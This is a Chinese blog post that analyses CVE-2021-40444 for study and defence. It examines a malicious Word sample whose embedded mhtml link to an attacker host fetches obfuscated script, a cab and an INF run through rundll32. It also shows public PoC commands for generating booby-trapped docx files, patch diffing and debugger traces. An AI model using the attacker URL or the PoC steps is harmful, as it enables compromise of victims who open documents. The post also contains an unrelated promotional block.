前言:
随着cve-2021-40444的披露,随机引爆了全球的网络安全,虽然最近微软发布了补丁,但是cve-2021-40444的利用却越发猖狂。
0x00 0day样本分析
拿到样本的第一时间,便在自己的沙箱环境下面运行了下,并且从网上下载的docx,微软默认会开启保护模式,我这里是本地打开的,基本内容如下,全都是文字内容,基本上没发现什么:
![image.png](https://img-blog.csdnimg.cn/img_convert/73de861d8711b1507143622bf4cd3570.png)
但是在rels的document.xml文件中发现了链接
Target=”mhtml:http://hidusi.com/e273caf2ca371919/mountain.html!x-usc:http://hidusi.com/e273caf2ca371919/mountain.html
![image.png](https://img-blog.csdnimg.cn/img_convert/0ba0cc5e2d9739eee199e5502671e9c0.png)
![image.png](https://img-blog.csdnimg.cn/img_convert/176210cc5b36cb69c2d180cfbcf88bad.png)
【一>所有资源获取<一】
1、200多本网络安全系列电子书(该有的都有了)
2、全套工具包(最全中文版,想用哪个用哪个)
3、100份src源码技术文档(项目学习不停,实践得真知)
4、网络安全基础入门、Linux、web安全、攻防方面的视频(2021最新版)
5、网络安全学习路线(告别不入流的学习)
6、ctf夺旗赛解析(题目解析实战操作)
可以发现其是指向文件的更新链接
![image.png](https://img-blog.csdnimg.cn/img_convert/8da1affa04f49de6ffe529c4682dc5c2.png)
从样本库众获取到mountain.html后,我们打开一看,发现全部都混淆了,基本难辨真假,去混淆也比较简单
因为是js代码,随便找个网上去混淆的试试,比如http://jsnice.org/
,将混淆的代码粘贴上去后,一键试下
![image.png](https://img-blog.csdnimg.cn/img_convert/8fc38c399800e6ff39ac150f16837376.png)
基本代码的轮廓就有了,它所有的字符串都会采用数组var a0_0x127f经过function a0_0x15ec
进行拼接与置换
![image.png](https://img-blog.csdnimg.cn/img_convert/aceeec25a81ca050b348e7921e227122.png)
这就很简单了,我通过普通脚本再一次去混淆:
经过简单的静态分析与调试,基本上就是它会去请求服务器获取一个cab文件,并且会通过cpl指令去执行一个inf
然后通过样本库获取到这个cab,初步分析这个cab,发现了其解压路径是../championship.inf
,并且标志cafile的大小是0x415c00,cab
文件格式[1]对应如下
![image.png](https://img-blog.csdnimg.cn/img_convert/2ce38c1b104c553171f52f9631299760.png)
![image.png](https://img-blog.csdnimg.cn/img_convert/792ab07e6577f8325033584d07b5f2b0.png)
最后将恶意的url改成我们自己搭建的http server,之后成功复现样本攻击环境,并且捕捉到了样本通过rundll32执行了命令
![image.png](https://img-blog.csdnimg.cn/img_convert/023b379a1e40dc05b3519c2c1e0a7899.png)
0x01 cve-2021-40444漏洞的分析与利用
cve-2021-40444
的poc很快公开在了github[2]上,poc的使用很简单,通过sudo python3 exploit.py host 80
开启简单的http server服务器,python3 exploit.py generate test/calc.dll ip
生成包含有漏洞的docx:
![image.png](https://img-blog.csdnimg.cn/img_convert/7d6dc10b3dd12429a9b095be55ceeb04.png)
假如我们现在有一个正常的docx,可以通过以下添加稍加修改,就成了可以包含cve-2021-40444漏洞的docx了
![image.png](https://img-blog.csdnimg.cn/img_convert/6b96ad05efb153322605ffa02323e873.png)
0x02 cve-2021-40444的补丁对比
通过ProcessMonitor监控我们可以获得其创建和读取cab文件的行为,其调用堆栈如下:
![image.png](https://img-blog.csdnimg.cn/img_convert/1395023bdb42de33c9e51d151257ec42.png)
9月14号,微软发布了cve-2021-40444的补丁,经过补丁分析发现,urlmon.dll模块的catDirAndFile对路径验证做了修改,将’/‘替换成了’\‘,防止路径遍历:
![image.png](https://img-blog.csdnimg.cn/img_convert/9c4b1e698192ea31037efe9426c7db3f.png)
![image.png](https://img-blog.csdnimg.cn/img_convert/a4398a8a210a1faf6d8c03b066bfdec2.png)
0x03漏洞调试
调试之前,我们首先了解下微软对cab文件的api
![image.png](https://img-blog.csdnimg.cn/img_convert/3a9551c4fdd3c1a63909a798538ba32f.png)
这些api包括了对cab文件的解析和读写操作等,urlmon模块通过调用cabinet模块中的这些api来处理cab文件的
首先docx触发get请求后会通过mshtml模块来处理,并且对cab文件的处理将会进入urlmon,之后在urlmon!GetSupportedInstallScopesFromFile
这个api开始处理cab文件:
![image.png](https://img-blog.csdnimg.cn/img_convert/dd97bdbca261de35ace1a964d5ba0ef9.png)
获取到C:\Users\l\AppData\Local\Microsoft\Windows\INetCache\IE\9FFFIV4G\word[1].cab
先通过GetExtnAndBaseFileName
去判断文件后缀名是不是cab:
![image.png](https://img-blog.csdnimg.cn/img_convert/629d5d8854b1e0ca15fb8860f8a68b60.png)
然后通过CreateUniqueCabTempDir
创建临时文件夹,比如我这里是C:\Users\l\AppData\Local\Temp\Cab369A
,进入api ExtractInfFile
后,将会继续调用Extract,在Extract将会第一次调用到FDICreate[3]和FDICopy[4]
,来获取cab的信息
![image.png](https://img-blog.csdnimg.cn/img_convert/0cd3b2ed22bd0ed8a7e84d131067a686.png)
FDICreate主要是对其他读写api等进行初始化操作:
![image.png](https://img-blog.csdnimg.cn/img_convert/b6b6bb3b949fd48a3fee57d98d7352ee.png)
而FDICopy主要就是提取cab文件的信息了
![image.png](https://img-blog.csdnimg.cn/img_convert/1b3d0120e64963c32dfeed2f3ec0e65d.png)
进入CABINET!FDICopy
后将会调用LoginCabinet来提取cab的0x24大小的head信息,比如包括对头部MSCF标志的判断:
之后将会进入CABINET!LoginCabinet、CABINET!FDICallEnumerate
分别对应信息FNFDINOTIFY的fdintCABINET_INFO、fdintENUMERATE
,再一次进入urlmon!fdiNotifyExtract
后获取CFFILE file的信息,而对应的标志是0x02:
![image.png](https://img-blog.csdnimg.cn/img_convert/6fe0d8cdf9a6b2ce3a0f52cac2cb12a5.png)
获取到初始化结构体后将会在urlmon!ExtractInfFile
调用urlmon!ExtractOneFile
:
![image.png](https://img-blog.csdnimg.cn/img_convert/b46017141bf917a8bd04fabb0a55d2b9.png)
而在urlmon!ExtractOneFile中将会给(a4+0x202)
赋值结构体lpsz,将会确保在调用urlmon!NeedFile
成功返回:
![image.png](https://img-blog.csdnimg.cn/img_convert/077d5c30f5db0de20c913ea25f8a59b3.png)
之后将会继续以标志fdintCOPY_FILE(0x02)
继续调用urlmon!fdiNotifyExtract
,继续调用urlmon!catDirAndFile
继续路径字符串格式化,而我们传入的inf路径是C:\Users\l\AppData\Local\Temp\Cab45F3../msword.inf
![image.png](https://img-blog.csdnimg.cn/img_convert/9c90296f4dcbb288faa1b7cc6b9ecd4b.png)
最后退出urlmon!catDirAndFile
将会在urlmon!fdiNotifyExtract
中调用Win32Open:
![image.png](https://img-blog.csdnimg.cn/img_convert/360078114465559e6af0a1cdeee35e7a.png)
而在Win32Open中将会调用CreateFileA,以路径C:\Users\l\AppData\Local\Temp\Cab45F3../msword.inf
创建文件msword.inf,因为路径存在目录遍历问题,所有将会在C:\Users\l\AppData\Local\Temp\msword.inf
创建文件:
![image.png](https://img-blog.csdnimg.cn/img_convert/3b399497b1412bdb59f19b7a7e400138.png)
成功创建msword.inf文件后将会继续成功调用CABINET!FDIGetFile
,在CABINET!FDIGetFile
中将会以第一个CFDATA data大小数据写入到文件中,之后caFile(实际为解压文件大小)将会减去写入的CFDATA data
大小,接着进行比较直到将所有的caFile大小写入,而这里我们的caFile大小是0x415c0000,远远大于实际的CFDATA的总大小,所以将会在调用最后一次CABINET!FDIGetDataBlock
获取块的时候失败并退出:
![image.png](https://img-blog.csdnimg.cn/img_convert/6356df6e8e551495dd1c740ab51739ff.png)
虽然退出了,但不影响实际写入文件的数据,并且因为这个失败将不会在urlmon!DeleteExtractedFiles
调用DeleteFileA,因为v2[2]的标志未清0,所以不会删除临时文件,从而我们创建的msword.inf得以保存,并且在后续中可以直接以cpl命令运行C:\Users\l\AppData\Local\Temp\msword.inf
![image.png](https://img-blog.csdnimg.cn/img_convert/3b8fd9d1a669861e6651337311872db4.png)
而正常的提取cab文件将会以标志fdintCLOSE_FILE_INFO(0x03)
进入,调用urlmon!MarkExtracted
,将标志清0:
![image.png](https://img-blog.csdnimg.cn/img_convert/bc444253bb5a5f670a544d535ab23b70.png)
至此,从获取到cab文件到提取解析,并且触发目录遍历漏洞过程分析完毕。
有大佬公布以最简洁的方式触发了[5]这个漏洞,并且可以在ie中复现成功。
0x04 漏洞防范
对网上来路不明的docx,请不要随意点击,更新最新的微软补丁